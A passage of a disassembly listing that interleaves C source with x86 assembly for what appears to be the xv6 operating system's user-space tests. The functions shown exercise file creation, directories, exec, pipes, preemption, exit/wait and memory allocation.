name[1] = '0' + i;
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
1534: c6 05 c0 ba 00 00 61 movb $0x61,0xbac0
name[2] = '\0';
153b: c6 05 c2 ba 00 00 00 movb $0x0,0xbac2
for(i = 0; i < 52; i++){
1542: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1549: eb 1b jmp 1566 <createtest+0x9b>
name[1] = '0' + i;
154b: 8b 45 f4 mov -0xc(%ebp),%eax
154e: 83 c0 30 add $0x30,%eax
1551: a2 c1 ba 00 00 mov %al,0xbac1
unlink(name);
1556: c7 04 24 c0 ba 00 00 movl $0xbac0,(%esp)
155d: e8 06 37 00 00 call 4c68 <unlink>
fd = open(name, O_CREATE|O_RDWR);
close(fd);
}
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
1562: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1566: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
156a: 7e df jle 154b <createtest+0x80>
name[1] = '0' + i;
unlink(name);
}
printf(stdout, "many creates, followed by unlink; ok\n");
156c: a1 c8 72 00 00 mov 0x72c8,%eax
1571: c7 44 24 04 a8 56 00 movl $0x56a8,0x4(%esp)
1578: 00
1579: 89 04 24 mov %eax,(%esp)
157c: e8 3f 38 00 00 call 4dc0 <printf>
}
1581: c9 leave
1582: c3 ret
00001583 <dirtest>:
void dirtest(void)
{
1583: 55 push %ebp
1584: 89 e5 mov %esp,%ebp
1586: 83 ec 18 sub $0x18,%esp
printf(stdout, "mkdir test\n");
1589: a1 c8 72 00 00 mov 0x72c8,%eax
158e: c7 44 24 04 ce 56 00 movl $0x56ce,0x4(%esp)
1595: 00
1596: 89 04 24 mov %eax,(%esp)
1599: e8 22 38 00 00 call 4dc0 <printf>
if(mkdir("dir0") < 0){
159e: c7 04 24 da 56 00 00 movl $0x56da,(%esp)
15a5: e8 d6 36 00 00 call 4c80 <mkdir>
15aa: 85 c0 test %eax,%eax
15ac: 79 1a jns 15c8 <dirtest+0x45>
printf(stdout, "mkdir failed\n");
15ae: a1 c8 72 00 00 mov 0x72c8,%eax
15b3: c7 44 24 04 df 56 00 movl $0x56df,0x4(%esp)
15ba: 00
15bb: 89 04 24 mov %eax,(%esp)
15be: e8 fd 37 00 00 call 4dc0 <printf>
exit();
15c3: e8 50 36 00 00 call 4c18 <exit>
}
if(chdir("dir0") < 0){
15c8: c7 04 24 da 56 00 00 movl $0x56da,(%esp)
15cf: e8 b4 36 00 00 call 4c88 <chdir>
15d4: 85 c0 test %eax,%eax
15d6: 79 1a jns 15f2 <dirtest+0x6f>
printf(stdout, "chdir dir0 failed\n");
15d8: a1 c8 72 00 00 mov 0x72c8,%eax
15dd: c7 44 24 04 ed 56 00 movl $0x56ed,0x4(%esp)
15e4: 00
15e5: 89 04 24 mov %eax,(%esp)
15e8: e8 d3 37 00 00 call 4dc0 <printf>
exit();
15ed: e8 26 36 00 00 call 4c18 <exit>
}
if(chdir("..") < 0){
15f2: c7 04 24 00 57 00 00 movl $0x5700,(%esp)
15f9: e8 8a 36 00 00 call 4c88 <chdir>
15fe: 85 c0 test %eax,%eax
1600: 79 1a jns 161c <dirtest+0x99>
printf(stdout, "chdir .. failed\n");
1602: a1 c8 72 00 00 mov 0x72c8,%eax
1607: c7 44 24 04 03 57 00 movl $0x5703,0x4(%esp)
160e: 00
160f: 89 04 24 mov %eax,(%esp)
1612: e8 a9 37 00 00 call 4dc0 <printf>
exit();
1617: e8 fc 35 00 00 call 4c18 <exit>
}
if(unlink("dir0") < 0){
161c: c7 04 24 da 56 00 00 movl $0x56da,(%esp)
1623: e8 40 36 00 00 call 4c68 <unlink>
1628: 85 c0 test %eax,%eax
162a: 79 1a jns 1646 <dirtest+0xc3>
printf(stdout, "unlink dir0 failed\n");
162c: a1 c8 72 00 00 mov 0x72c8,%eax
1631: c7 44 24 04 14 57 00 movl $0x5714,0x4(%esp)
1638: 00
1639: 89 04 24 mov %eax,(%esp)
163c: e8 7f 37 00 00 call 4dc0 <printf>
exit();
1641: e8 d2 35 00 00 call 4c18 <exit>
}
printf(stdout, "mkdir test\n");
1646: a1 c8 72 00 00 mov 0x72c8,%eax
164b: c7 44 24 04 ce 56 00 movl $0x56ce,0x4(%esp)
1652: 00
1653: 89 04 24 mov %eax,(%esp)
1656: e8 65 37 00 00 call 4dc0 <printf>
}
165b: c9 leave
165c: c3 ret
0000165d <exectest>:
void
exectest(void)
{
165d: 55 push %ebp
165e: 89 e5 mov %esp,%ebp
1660: 83 ec 18 sub $0x18,%esp
printf(stdout, "exec test\n");
1663: a1 c8 72 00 00 mov 0x72c8,%eax
1668: c7 44 24 04 28 57 00 movl $0x5728,0x4(%esp)
166f: 00
1670: 89 04 24 mov %eax,(%esp)
1673: e8 48 37 00 00 call 4dc0 <printf>
if(exec("echo", echoargv) < 0){
1678: c7 44 24 04 b4 72 00 movl $0x72b4,0x4(%esp)
167f: 00
1680: c7 04 24 04 54 00 00 movl $0x5404,(%esp)
1687: e8 c4 35 00 00 call 4c50 <exec>
168c: 85 c0 test %eax,%eax
168e: 79 1a jns 16aa <exectest+0x4d>
printf(stdout, "exec echo failed\n");
1690: a1 c8 72 00 00 mov 0x72c8,%eax
1695: c7 44 24 04 33 57 00 movl $0x5733,0x4(%esp)
169c: 00
169d: 89 04 24 mov %eax,(%esp)
16a0: e8 1b 37 00 00 call 4dc0 <printf>
exit();
16a5: e8 6e 35 00 00 call 4c18 <exit>
}
}
16aa: c9 leave
16ab: c3 ret
000016ac <pipe1>:
// simple fork and pipe read/write
void
pipe1(void)
{
16ac: 55 push %ebp
16ad: 89 e5 mov %esp,%ebp
16af: 83 ec 38 sub $0x38,%esp
int fds[2], pid;
int seq, i, n, cc, total;
if(pipe(fds) != 0){
16b2: 8d 45 d8 lea -0x28(%ebp),%eax
16b5: 89 04 24 mov %eax,(%esp)
16b8: e8 6b 35 00 00 call 4c28 <pipe>
16bd: 85 c0 test %eax,%eax
16bf: 74 19 je 16da <pipe1+0x2e>
printf(1, "pipe() failed\n");
16c1: c7 44 24 04 45 57 00 movl $0x5745,0x4(%esp)
16c8: 00
16c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16d0: e8 eb 36 00 00 call 4dc0 <printf>
exit();
16d5: e8 3e 35 00 00 call 4c18 <exit>
}
pid = fork();
16da: e8 31 35 00 00 call 4c10 <fork>
16df: 89 45 e0 mov %eax,-0x20(%ebp)
seq = 0;
16e2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(pid == 0){
16e9: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
16ed: 0f 85 88 00 00 00 jne 177b <pipe1+0xcf>
close(fds[0]);
16f3: 8b 45 d8 mov -0x28(%ebp),%eax
16f6: 89 04 24 mov %eax,(%esp)
16f9: e8 42 35 00 00 call 4c40 <close>
for(n = 0; n < 5; n++){
16fe: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
1705: eb 69 jmp 1770 <pipe1+0xc4>
for(i = 0; i < 1033; i++)
1707: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
170e: eb 18 jmp 1728 <pipe1+0x7c>
buf[i] = seq++;
1710: 8b 45 f4 mov -0xc(%ebp),%eax
1713: 8d 50 01 lea 0x1(%eax),%edx
1716: 89 55 f4 mov %edx,-0xc(%ebp)
1719: 8b 55 f0 mov -0x10(%ebp),%edx
171c: 81 c2 c0 9a 00 00 add $0x9ac0,%edx
1722: 88 02 mov %al,(%edx)
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
for(i = 0; i < 1033; i++)
1724: 83 45 f0 01 addl $0x1,-0x10(%ebp)
1728: 81 7d f0 08 04 00 00 cmpl $0x408,-0x10(%ebp)
172f: 7e df jle 1710 <pipe1+0x64>
buf[i] = seq++;
if(write(fds[1], buf, 1033) != 1033){
1731: 8b 45 dc mov -0x24(%ebp),%eax
1734: c7 44 24 08 09 04 00 movl $0x409,0x8(%esp)
173b: 00
173c: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1743: 00
1744: 89 04 24 mov %eax,(%esp)
1747: e8 ec 34 00 00 call 4c38 <write>
174c: 3d 09 04 00 00 cmp $0x409,%eax
1751: 74 19 je 176c <pipe1+0xc0>
printf(1, "pipe1 oops 1\n");
1753: c7 44 24 04 54 57 00 movl $0x5754,0x4(%esp)
175a: 00
175b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1762: e8 59 36 00 00 call 4dc0 <printf>
exit();
1767: e8 ac 34 00 00 call 4c18 <exit>
}
pid = fork();
seq = 0;
if(pid == 0){
close(fds[0]);
for(n = 0; n < 5; n++){
176c: 83 45 ec 01 addl $0x1,-0x14(%ebp)
1770: 83 7d ec 04 cmpl $0x4,-0x14(%ebp)
1774: 7e 91 jle 1707 <pipe1+0x5b>
if(write(fds[1], buf, 1033) != 1033){
printf(1, "pipe1 oops 1\n");
exit();
}
}
exit();
1776: e8 9d 34 00 00 call 4c18 <exit>
} else if(pid > 0){
177b: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
177f: 0f 8e f9 00 00 00 jle 187e <pipe1+0x1d2>
close(fds[1]);
1785: 8b 45 dc mov -0x24(%ebp),%eax
1788: 89 04 24 mov %eax,(%esp)
178b: e8 b0 34 00 00 call 4c40 <close>
total = 0;
1790: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
cc = 1;
1797: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
179e: eb 68 jmp 1808 <pipe1+0x15c>
for(i = 0; i < n; i++){
17a0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
17a7: eb 3d jmp 17e6 <pipe1+0x13a>
if((buf[i] & 0xff) != (seq++ & 0xff)){
17a9: 8b 45 f0 mov -0x10(%ebp),%eax
17ac: 05 c0 9a 00 00 add $0x9ac0,%eax
17b1: 0f b6 00 movzbl (%eax),%eax
17b4: 0f be c8 movsbl %al,%ecx
17b7: 8b 45 f4 mov -0xc(%ebp),%eax
17ba: 8d 50 01 lea 0x1(%eax),%edx
17bd: 89 55 f4 mov %edx,-0xc(%ebp)
17c0: 31 c8 xor %ecx,%eax
17c2: 0f b6 c0 movzbl %al,%eax
17c5: 85 c0 test %eax,%eax
17c7: 74 19 je 17e2 <pipe1+0x136>
printf(1, "pipe1 oops 2\n");
17c9: c7 44 24 04 62 57 00 movl $0x5762,0x4(%esp)
17d0: 00
17d1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
17d8: e8 e3 35 00 00 call 4dc0 <printf>
17dd: e9 b5 00 00 00 jmp 1897 <pipe1+0x1eb>
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
for(i = 0; i < n; i++){
17e2: 83 45 f0 01 addl $0x1,-0x10(%ebp)
17e6: 8b 45 f0 mov -0x10(%ebp),%eax
17e9: 3b 45 ec cmp -0x14(%ebp),%eax
17ec: 7c bb jl 17a9 <pipe1+0xfd>
if((buf[i] & 0xff) != (seq++ & 0xff)){
printf(1, "pipe1 oops 2\n");
return;
}
}
total += n;
17ee: 8b 45 ec mov -0x14(%ebp),%eax
17f1: 01 45 e4 add %eax,-0x1c(%ebp)
cc = cc * 2;
17f4: d1 65 e8 shll -0x18(%ebp)
if(cc > sizeof(buf))
17f7: 8b 45 e8 mov -0x18(%ebp),%eax
17fa: 3d 00 20 00 00 cmp $0x2000,%eax
17ff: 76 07 jbe 1808 <pipe1+0x15c>
cc = sizeof(buf);
1801: c7 45 e8 00 20 00 00 movl $0x2000,-0x18(%ebp)
exit();
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
1808: 8b 45 d8 mov -0x28(%ebp),%eax
180b: 8b 55 e8 mov -0x18(%ebp),%edx
180e: 89 54 24 08 mov %edx,0x8(%esp)
1812: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1819: 00
181a: 89 04 24 mov %eax,(%esp)
181d: e8 0e 34 00 00 call 4c30 <read>
1822: 89 45 ec mov %eax,-0x14(%ebp)
1825: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1829: 0f 8f 71 ff ff ff jg 17a0 <pipe1+0xf4>
total += n;
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
182f: 81 7d e4 2d 14 00 00 cmpl $0x142d,-0x1c(%ebp)
1836: 74 20 je 1858 <pipe1+0x1ac>
printf(1, "pipe1 oops 3 total %d\n", total);
1838: 8b 45 e4 mov -0x1c(%ebp),%eax
183b: 89 44 24 08 mov %eax,0x8(%esp)
183f: c7 44 24 04 70 57 00 movl $0x5770,0x4(%esp)
1846: 00
1847: c7 04 24 01 00 00 00 movl $0x1,(%esp)
184e: e8 6d 35 00 00 call 4dc0 <printf>
exit();
1853: e8 c0 33 00 00 call 4c18 <exit>
}
close(fds[0]);
1858: 8b 45 d8 mov -0x28(%ebp),%eax
185b: 89 04 24 mov %eax,(%esp)
185e: e8 dd 33 00 00 call 4c40 <close>
wait();
1863: e8 b8 33 00 00 call 4c20 <wait>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
1868: c7 44 24 04 96 57 00 movl $0x5796,0x4(%esp)
186f: 00
1870: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1877: e8 44 35 00 00 call 4dc0 <printf>
187c: eb 19 jmp 1897 <pipe1+0x1eb>
exit();
}
close(fds[0]);
wait();
} else {
printf(1, "fork() failed\n");
187e: c7 44 24 04 87 57 00 movl $0x5787,0x4(%esp)
1885: 00
1886: c7 04 24 01 00 00 00 movl $0x1,(%esp)
188d: e8 2e 35 00 00 call 4dc0 <printf>
exit();
1892: e8 81 33 00 00 call 4c18 <exit>
}
printf(1, "pipe1 ok\n");
}
1897: c9 leave
1898: c3 ret
00001899 <preempt>:
// meant to be run w/ at most two CPUs
void
preempt(void)
{
1899: 55 push %ebp
189a: 89 e5 mov %esp,%ebp
189c: 83 ec 38 sub $0x38,%esp
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
189f: c7 44 24 04 a0 57 00 movl $0x57a0,0x4(%esp)
18a6: 00
18a7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18ae: e8 0d 35 00 00 call 4dc0 <printf>
pid1 = fork();
18b3: e8 58 33 00 00 call 4c10 <fork>
18b8: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid1 == 0)
18bb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
18bf: 75 02 jne 18c3 <preempt+0x2a>
for(;;)
;
18c1: eb fe jmp 18c1 <preempt+0x28>
pid2 = fork();
18c3: e8 48 33 00 00 call 4c10 <fork>
18c8: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid2 == 0)
18cb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
18cf: 75 02 jne 18d3 <preempt+0x3a>
for(;;)
;
18d1: eb fe jmp 18d1 <preempt+0x38>
pipe(pfds);
18d3: 8d 45 e4 lea -0x1c(%ebp),%eax
18d6: 89 04 24 mov %eax,(%esp)
18d9: e8 4a 33 00 00 call 4c28 <pipe>
pid3 = fork();
18de: e8 2d 33 00 00 call 4c10 <fork>
18e3: 89 45 ec mov %eax,-0x14(%ebp)
if(pid3 == 0){
18e6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
18ea: 75 4c jne 1938 <preempt+0x9f>
close(pfds[0]);
18ec: 8b 45 e4 mov -0x1c(%ebp),%eax
18ef: 89 04 24 mov %eax,(%esp)
18f2: e8 49 33 00 00 call 4c40 <close>
if(write(pfds[1], "x", 1) != 1)
18f7: 8b 45 e8 mov -0x18(%ebp),%eax
18fa: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1901: 00
1902: c7 44 24 04 aa 57 00 movl $0x57aa,0x4(%esp)
1909: 00
190a: 89 04 24 mov %eax,(%esp)
190d: e8 26 33 00 00 call 4c38 <write>
1912: 83 f8 01 cmp $0x1,%eax
1915: 74 14 je 192b <preempt+0x92>
printf(1, "preempt write error");
1917: c7 44 24 04 ac 57 00 movl $0x57ac,0x4(%esp)
191e: 00
191f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1926: e8 95 34 00 00 call 4dc0 <printf>
close(pfds[1]);
192b: 8b 45 e8 mov -0x18(%ebp),%eax
192e: 89 04 24 mov %eax,(%esp)
1931: e8 0a 33 00 00 call 4c40 <close>
for(;;)
;
1936: eb fe jmp 1936 <preempt+0x9d>
}
close(pfds[1]);
1938: 8b 45 e8 mov -0x18(%ebp),%eax
193b: 89 04 24 mov %eax,(%esp)
193e: e8 fd 32 00 00 call 4c40 <close>
if(read(pfds[0], buf, sizeof(buf)) != 1){
1943: 8b 45 e4 mov -0x1c(%ebp),%eax
1946: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
194d: 00
194e: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1955: 00
1956: 89 04 24 mov %eax,(%esp)
1959: e8 d2 32 00 00 call 4c30 <read>
195e: 83 f8 01 cmp $0x1,%eax
1961: 74 16 je 1979 <preempt+0xe0>
printf(1, "preempt read error");
1963: c7 44 24 04 c0 57 00 movl $0x57c0,0x4(%esp)
196a: 00
196b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1972: e8 49 34 00 00 call 4dc0 <printf>
1977: eb 77 jmp 19f0 <preempt+0x157>
return;
}
close(pfds[0]);
1979: 8b 45 e4 mov -0x1c(%ebp),%eax
197c: 89 04 24 mov %eax,(%esp)
197f: e8 bc 32 00 00 call 4c40 <close>
printf(1, "kill... ");
1984: c7 44 24 04 d3 57 00 movl $0x57d3,0x4(%esp)
198b: 00
198c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1993: e8 28 34 00 00 call 4dc0 <printf>
kill(pid1);
1998: 8b 45 f4 mov -0xc(%ebp),%eax
199b: 89 04 24 mov %eax,(%esp)
199e: e8 a5 32 00 00 call 4c48 <kill>
kill(pid2);
19a3: 8b 45 f0 mov -0x10(%ebp),%eax
19a6: 89 04 24 mov %eax,(%esp)
19a9: e8 9a 32 00 00 call 4c48 <kill>
kill(pid3);
19ae: 8b 45 ec mov -0x14(%ebp),%eax
19b1: 89 04 24 mov %eax,(%esp)
19b4: e8 8f 32 00 00 call 4c48 <kill>
printf(1, "wait... ");
19b9: c7 44 24 04 dc 57 00 movl $0x57dc,0x4(%esp)
19c0: 00
19c1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
19c8: e8 f3 33 00 00 call 4dc0 <printf>
wait();
19cd: e8 4e 32 00 00 call 4c20 <wait>
wait();
19d2: e8 49 32 00 00 call 4c20 <wait>
wait();
19d7: e8 44 32 00 00 call 4c20 <wait>
printf(1, "preempt ok\n");
19dc: c7 44 24 04 e5 57 00 movl $0x57e5,0x4(%esp)
19e3: 00
19e4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
19eb: e8 d0 33 00 00 call 4dc0 <printf>
}
19f0: c9 leave
19f1: c3 ret
000019f2 <exitwait>:
// try to find any races between exit and wait
void
exitwait(void)
{
19f2: 55 push %ebp
19f3: 89 e5 mov %esp,%ebp
19f5: 83 ec 28 sub $0x28,%esp
int i, pid;
for(i = 0; i < 100; i++){
19f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
19ff: eb 53 jmp 1a54 <exitwait+0x62>
pid = fork();
1a01: e8 0a 32 00 00 call 4c10 <fork>
1a06: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
1a09: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a0d: 79 16 jns 1a25 <exitwait+0x33>
printf(1, "fork failed\n");
1a0f: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
1a16: 00
1a17: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a1e: e8 9d 33 00 00 call 4dc0 <printf>
return;
1a23: eb 49 jmp 1a6e <exitwait+0x7c>
}
if(pid){
1a25: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a29: 74 20 je 1a4b <exitwait+0x59>
if(wait() != pid){
1a2b: e8 f0 31 00 00 call 4c20 <wait>
1a30: 3b 45 f0 cmp -0x10(%ebp),%eax
1a33: 74 1b je 1a50 <exitwait+0x5e>
printf(1, "wait wrong pid\n");
1a35: c7 44 24 04 fe 57 00 movl $0x57fe,0x4(%esp)
1a3c: 00
1a3d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a44: e8 77 33 00 00 call 4dc0 <printf>
return;
1a49: eb 23 jmp 1a6e <exitwait+0x7c>
}
} else {
exit();
1a4b: e8 c8 31 00 00 call 4c18 <exit>
void
exitwait(void)
{
int i, pid;
for(i = 0; i < 100; i++){
1a50: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1a54: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
1a58: 7e a7 jle 1a01 <exitwait+0xf>
}
} else {
exit();
}
}
printf(1, "exitwait ok\n");
1a5a: c7 44 24 04 0e 58 00 movl $0x580e,0x4(%esp)
1a61: 00
1a62: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a69: e8 52 33 00 00 call 4dc0 <printf>
}
1a6e: c9 leave
1a6f: c3 ret
00001a70 <mem>:
void
mem(void)
{
1a70: 55 push %ebp
1a71: 89 e5 mov %esp,%ebp
1a73: 83 ec 28 sub $0x28,%esp
void *m1, *m2;
int pid, ppid;
printf(1, "mem test\n");
1a76: c7 44 24 04 1b 58 00 movl $0x581b,0x4(%esp)
1a7d: 00
1a7e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a85: e8 36 33 00 00 call 4dc0 <printf>
ppid = getpid();
1a8a: e8 09 32 00 00 call 4c98 <getpid>
1a8f: 89 45 f0 mov %eax,-0x10(%ebp)
if((pid = fork()) == 0){
1a92: e8 79 31 00 00 call 4c10 <fork>
1a97: 89 45 ec mov %eax,-0x14(%ebp)
1a9a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1a9e: 0f 85 aa 00 00 00 jne 1b4e <mem+0xde>
m1 = 0;
1aa4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((m2 = malloc(10001)) != 0){
1aab: eb 0e jmp 1abb <mem+0x4b>
*(char**)m2 = m1;
1aad: 8b 45 e8 mov -0x18(%ebp),%eax
1ab0: 8b 55 f4 mov -0xc(%ebp),%edx
1ab3: 89 10 mov %edx,(%eax)
m1 = m2;
1ab5: 8b 45 e8 mov -0x18(%ebp),%eax
1ab8: 89 45 f4 mov %eax,-0xc(%ebp)
printf(1, "mem test\n");
ppid = getpid();
if((pid = fork()) == 0){
m1 = 0;
while((m2 = malloc(10001)) != 0){
1abb: c7 04 24 11 27 00 00 movl $0x2711,(%esp)
1ac2: e8 e6 35 00 00 call 50ad <malloc>
1ac7: 89 45 e8 mov %eax,-0x18(%ebp)
1aca: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1ace: 75 dd jne 1aad <mem+0x3d>
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
1ad0: eb 19 jmp 1aeb <mem+0x7b>
m2 = *(char**)m1;
1ad2: 8b 45 f4 mov -0xc(%ebp),%eax
1ad5: 8b 00 mov (%eax),%eax
1ad7: 89 45 e8 mov %eax,-0x18(%ebp)
free(m1);
1ada: 8b 45 f4 mov -0xc(%ebp),%eax
1add: 89 04 24 mov %eax,(%esp)
1ae0: e8 8f 34 00 00 call 4f74 <free>
m1 = m2;
1ae5: 8b 45 e8 mov -0x18(%ebp),%eax
1ae8: 89 45 f4 mov %eax,-0xc(%ebp)
m1 = 0;
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
1aeb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1aef: 75 e1 jne 1ad2 <mem+0x62>
m2 = *(char**)m1;
free(m1);
m1 = m2;
}
m1 = malloc(1024*20);
1af1: c7 04 24 00 50 00 00 movl $0x5000,(%esp)
1af8: e8 b0 35 00 00 call 50ad <malloc>
1afd: 89 45 f4 mov %eax,-0xc(%ebp)
if(m1 == 0){
1b00: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1b04: 75 24 jne 1b2a <mem+0xba>
printf(1, "couldn't allocate mem?!!\n");
1b06: c7 44 24 04 25 58 00 movl $0x5825,0x4(%esp)
1b0d: 00
1b0e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b15: e8 a6 32 00 00 call 4dc0 <printf>
kill(ppid);
1b1a: 8b 45 f0 mov -0x10(%ebp),%eax
1b1d: 89 04 24 mov %eax,(%esp)
1b20: e8 23 31 00 00 call 4c48 <kill>
exit();
1b25: e8 ee 30 00 00 call 4c18 <exit>
}
free(m1);
1b2a: 8b 45 f4 mov -0xc(%ebp),%eax
1b2d: 89 04 24 mov %eax,(%esp)
1b30: e8 3f 34 00 00 call 4f74 <free>
printf(1, "mem ok\n");
1b35: c7 44 24 04 3f 58 00 movl $0x583f,0x4(%esp)
1b3c: 00
1b3d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b44: e8 77 32 00 00 call 4dc0 <printf>
exit();
1b49: e8 ca 30 00 00 call 4c18 <exit>
} else {
wait();
1b4e: e8 cd 30 00 00 call 4c20 <wait>
}
}
1b53: c9 leave
1b54: c3 ret
00001b55 <sharedfd>:
// two processes write to the same file descriptor
// is the offset shared? does inode locking work?
void
sharedfd(void)
{
1b55: 55 push %ebp
1b56: 89 e5 mov %esp,%ebp
1b58: 83 ec 48 sub $0x48,%esp
int fd, pid, i, n, nc, np;
char buf[10];
printf(1, "sharedfd test\n");
1b5b: c7 44 24 04 47 58 00 movl $0x5847,0x4(%esp)
1b62: 00
1b63: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b6a: e8 51 32 00 00 call 4dc0 <printf>
unlink("sharedfd");
1b6f: c7 04 24 56 58 00 00 movl $0x5856,(%esp)
1b76: e8 ed 30 00 00 call 4c68 <unlink>
fd = open("sharedfd", O_CREATE|O_RDWR);
1b7b: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1b82: 00
1b83: c7 04 24 56 58 00 00 movl $0x5856,(%esp)
1b8a: e8 c9 30 00 00 call 4c58 <open>
1b8f: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1b92: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1b96: 79 19 jns 1bb1 <sharedfd+0x5c>
printf(1, "fstests: cannot open sharedfd for writing");
1b98: c7 44 24 04 60 58 00 movl $0x5860,0x4(%esp)
1b9f: 00
1ba0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ba7: e8 14 32 00 00 call 4dc0 <printf>
return;
1bac: e9 a0 01 00 00 jmp 1d51 <sharedfd+0x1fc>
}
pid = fork();
1bb1: e8 5a 30 00 00 call 4c10 <fork>
1bb6: 89 45 e4 mov %eax,-0x1c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
1bb9: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
1bbd: 75 07 jne 1bc6 <sharedfd+0x71>
1bbf: b8 63 00 00 00 mov $0x63,%eax
1bc4: eb 05 jmp 1bcb <sharedfd+0x76>
1bc6: b8 70 00 00 00 mov $0x70,%eax
1bcb: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1bd2: 00
1bd3: 89 44 24 04 mov %eax,0x4(%esp)
1bd7: 8d 45 d6 lea -0x2a(%ebp),%eax
1bda: 89 04 24 mov %eax,(%esp)
1bdd: e8 89 2e 00 00 call 4a6b <memset>
for(i = 0; i < 1000; i++){
1be2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1be9: eb 39 jmp 1c24 <sharedfd+0xcf>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
1beb: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1bf2: 00
1bf3: 8d 45 d6 lea -0x2a(%ebp),%eax
1bf6: 89 44 24 04 mov %eax,0x4(%esp)
1bfa: 8b 45 e8 mov -0x18(%ebp),%eax
1bfd: 89 04 24 mov %eax,(%esp)
1c00: e8 33 30 00 00 call 4c38 <write>
1c05: 83 f8 0a cmp $0xa,%eax
1c08: 74 16 je 1c20 <sharedfd+0xcb>
printf(1, "fstests: write sharedfd failed\n");
1c0a: c7 44 24 04 8c 58 00 movl $0x588c,0x4(%esp)
1c11: 00
1c12: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c19: e8 a2 31 00 00 call 4dc0 <printf>
break;
1c1e: eb 0d jmp 1c2d <sharedfd+0xd8>
printf(1, "fstests: cannot open sharedfd for writing");
return;
}
pid = fork();
memset(buf, pid==0?'c':'p', sizeof(buf));
for(i = 0; i < 1000; i++){
1c20: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1c24: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
1c2b: 7e be jle 1beb <sharedfd+0x96>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
printf(1, "fstests: write sharedfd failed\n");
break;
}
}
if(pid == 0)
1c2d: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
1c31: 75 05 jne 1c38 <sharedfd+0xe3>
exit();
1c33: e8 e0 2f 00 00 call 4c18 <exit>
else
wait();
1c38: e8 e3 2f 00 00 call 4c20 <wait>
close(fd);
1c3d: 8b 45 e8 mov -0x18(%ebp),%eax
1c40: 89 04 24 mov %eax,(%esp)
1c43: e8 f8 2f 00 00 call 4c40 <close>
fd = open("sharedfd", 0);
